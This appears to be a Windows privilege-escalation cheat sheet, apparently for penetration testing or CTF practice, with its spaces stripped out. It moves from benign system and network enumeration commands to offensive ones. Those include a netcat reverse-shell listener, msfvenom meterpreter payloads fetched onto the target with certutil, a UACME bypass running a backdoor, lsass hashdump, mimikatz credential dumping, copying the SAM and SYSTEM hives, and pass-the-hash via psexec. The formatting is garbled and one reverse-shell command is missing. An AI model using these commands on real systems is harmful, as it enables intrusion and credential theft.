systeminfo# Displays detailed system informationver# Displays Windows versionwinver# Displays Windows version and build numbermsinfo32# Opens System Information tool.wmicosgetname,version,buildnumber# Retrieves OS version/build info
Hardware Information:
getmac/v# Displays MAC address hostname# Displays computer name
Environment Variables:
set# Lists all environment variables echo%PATH%# Prints a specific environment variablepath# Displays or modifies the PATH environment variable
File System and Directory Management
Navigation and Directory Structure:
cd# Change current directory dir# List files and directories tree# Graphical view of directory structure
File Operations:
typeNUL>file.txt# Create a new file echo"text">file.txt# Write text into a file typefile.txt# Display file contents delfile.txt# Delete a file copyfile1file2# Copy files movefile1folder/# Move files renoldnamenew_name# Rename files
Directory Operations:
mkdirnew_folder# Create a directory rdfolder_name# Remove a directory
3. Networking Commands
Network Information:
ipconfig/all# Displays all network interfaces netstat-ano# Shows network connections and listening ports routeprint# Displays the routing table netshwlanshowprofiles# Shows Wi-Fi profiles
Testing and Troubleshooting:
pinggoogle.com# Test connectivity tracertmicrosoft.com# Trace route to a destination nslookupgoogle.com# DNS queries
Permissions and User Management
User Information:
whoami# Displays current user whoami/groups# Lists user groups whoami/priv# Shows user privilegesnetuser# Lists all users netuser<USERNAME># Displays user details netlocalgroupAdministrators#Manages local groups
Permissions and Policies:
icaclsfile.txt# Displays file permissions netaccounts# Displays account policies gpupdate/force# Updates Group Policy settings gpresult/r# Displays Group Policy results
netstart"ServiceName"# Starts a servicesc.exestart<SERVICE># Starts a servicenetstop"ServiceName"# Stops a servicesc.exestop<SERVICE># Stops a servicescquery# Queries Windows servicessc.exeqc<SERVICE># Checks Service ConfigurationGet-Service# PowerShell alternative for service detailssc.execonfig<SERVICE>binPath="C:\Path\to\malicious.exe"#Changes the Binary Path of a Servicesc.exesdshow<SERVICE># Checks Service Permissionssc.exesdset<SERVICE><SDDL># Updates Service Permissions.\accesschk64.exe/accepteula-uwcqvSimpleService# Verify Service PermissionsConvertFrom-SddlString-Sddl<SDDL>#Convert SDDL to Readable Formatwmicprocesslistfull|Select-String'executablepath=C:'|Select-String-NotMatch'system32|syswow'#Get Executable Path for All Processesx86_64-w64-mingw32-gcc-mwindows-municode-O2-s-osimpleService.exesimpleService.c#Compiling a Custom Service
The cmd.exe reverse shell relies on utilities like ncat.exe to establish a connection. The process involves downloading the necessary binary, setting up a listener on the attacker machine, and initiating the reverse connection from the victim machine.
Steps
Download ncat.exe on the Target Machinencat.exe (a lightweight implementation of Netcat) is required for creating the reverse shell.
Set Up a Listener on the Attacker Machine
The attacker machine must have a listener ready to receive the reverse connection.
nc-lvnp7777
Initiate the Reverse Shell from the Target Machine
On the victim machine, execute the following command to connect back to the attacker and spawn a shell:
Use the servicesinfo option to gather information about services:
.\winPEASx64.exequietservicesinfo
Kernel
# WIN KERNELmsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=<LOCAL_HOST_IP>LPORT=<LOCAL_PORT>-fexe-opayload.exepython3-mhttp.server# Download payload.exe on target
## Windows-Exploit-Suggester InstallmkdirWindows-Exploit-SuggestercdWindows-Exploit-Suggesterwgethttps://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py# ^^ This is a python3 version of the scriptcdWindows-Exploit-Suggesterpython./windows-exploit-suggester.py--updatepipinstallxlrd--upgrade./windows-exploit-suggester.py--databaseYYYY-MM-DD-mssb.xlsx--systeminfowin7sp1-systeminfo.txt./windows-exploit-suggester.py--databaseYYYY-MM-DD-mssb.xlsx--systeminfowin2008r2-systeminfo.txt
## METASPLOIT## Global setsetgRHOSTS<TARGET_IP>setgRHOST<TARGET_IP>useexploit/multi/handleroptionssetpayloadwindows/x64/meterpreter/reverse_tcpsetLHOST<LOCAL_HOST_IP>setLPORT<LOCAL_PORT>usepost/multi/recon/local_exploit_suggestersetSESSION<HANDLER_SESSION_NUMBER>## MsfConsole Meterpreter Privescgetprivsgetsystem# Exploitable vulnerabilities modulesexploit/windows/local/bypassuac_dotnet_profilerexploit/windows/local/bypassuac_eventvwrexploit/windows/local/bypassuac_sdcltexploit/windows/local/cve_2019_1458_wizardopiumexploit/windows/local/cve_2020_1054_drawiconex_lpeexploit/windows/local/ms10_092_schelevatorexploit/windows/local/ms14_058_track_popup_menuexploit/windows/local/ms15_051_client_copy_imageexploit/windows/local/ms16_014_wmi_recv_notif
UAC
# UAC - UACMEmsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=<LOCAL_HOST_IP>LPORT=<LOCAL_PORT>-fexe>backdoor.exe## METASPLOIT - ListeningsetgRHOSTS<TARGET_IP>setgRHOST<TARGET_IP>useexploit/multi/handlersetpayloadwindows/x64/meterpreter/reverse_tcpsetLHOST<LOCAL_HOST_IP>setLPORT<LOCAL_PORT>## Meterpreter (Unprivileged session)cdC:\\mkdir TempcdTempupload/root/backdoor.exeupload/root/Desktop/tools/UACME/Akagi64.exeshellAkagi64.exe23C:\Temp\backdoor.exeakagi32.exe [Key] [Param]akagi64.exe [Key] [Param]## Elevated Meterpreter Received on the listening sessionps-Slsass.exemigrate<lsass_PID>hashdump
# Exploitationmsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=<TARGET_IP>LPORT=1234-fexe>payload.exepython-mSimpleHTTPServer80#Grant Privilege to a User:Add-LocalGroupMember-Group"Backup Operators"-Member"Leonardo"#Save SAM and SYSTEM Files:regsavehklm\samC:\Users\Leonardo\Desktop\SAM.hiveregsavehklm\systemC:\Users\Leonardo\Desktop\SYSTEM.hive## METASPLOITsetgRHOSTS<TARGET_IP>setgRHOST<TARGET_IP>useexploit/multi/handlersetpayloadwindows/x64/meterpreter/reverse_tcpsetLHOST<LOCAL_HOST_IP>setLPORT<LOCAL_PORT>run## On target systemcertutil-urlcache-fhttp://<TARGET_IP>/payload.exepayload.exe# Run payload.exe# METASPLOIT - Meterpretersysinfogetuidpgreplsassmigrate<explorer_PID>getprivs# Creds dumping - Meterpreterloadkiwicreds_alllsa_dump_samlsa_dump_secrets# MIMIKATZcdC:\\mkdir TempcdTempupload/usr/share/windows-resources/mimikatz/x64/mimikatz.exeshellmimikatz.exeprivilege::debuglsadump::samlsadump::secretssekurlsa::logonPasswordsmimikatz64.exe"privilege::debug""token::elevate""lsadump::sam""exit"# PASS THE HASH## sekurlsa::logonPasswordsbackgroundsearchpsexecuseexploit/windows/smb/psexecsetLPORT<LOCAL_PORT2>setSMBUserAdministratorsetSMBPass<ADMINISTRATOR_LM:NTLM_HASH>exploit
System Logs
Get-History# Retrieve Commands from Memory(Get-PSReadlineOption).HistorySavePath # Retrieve History File Location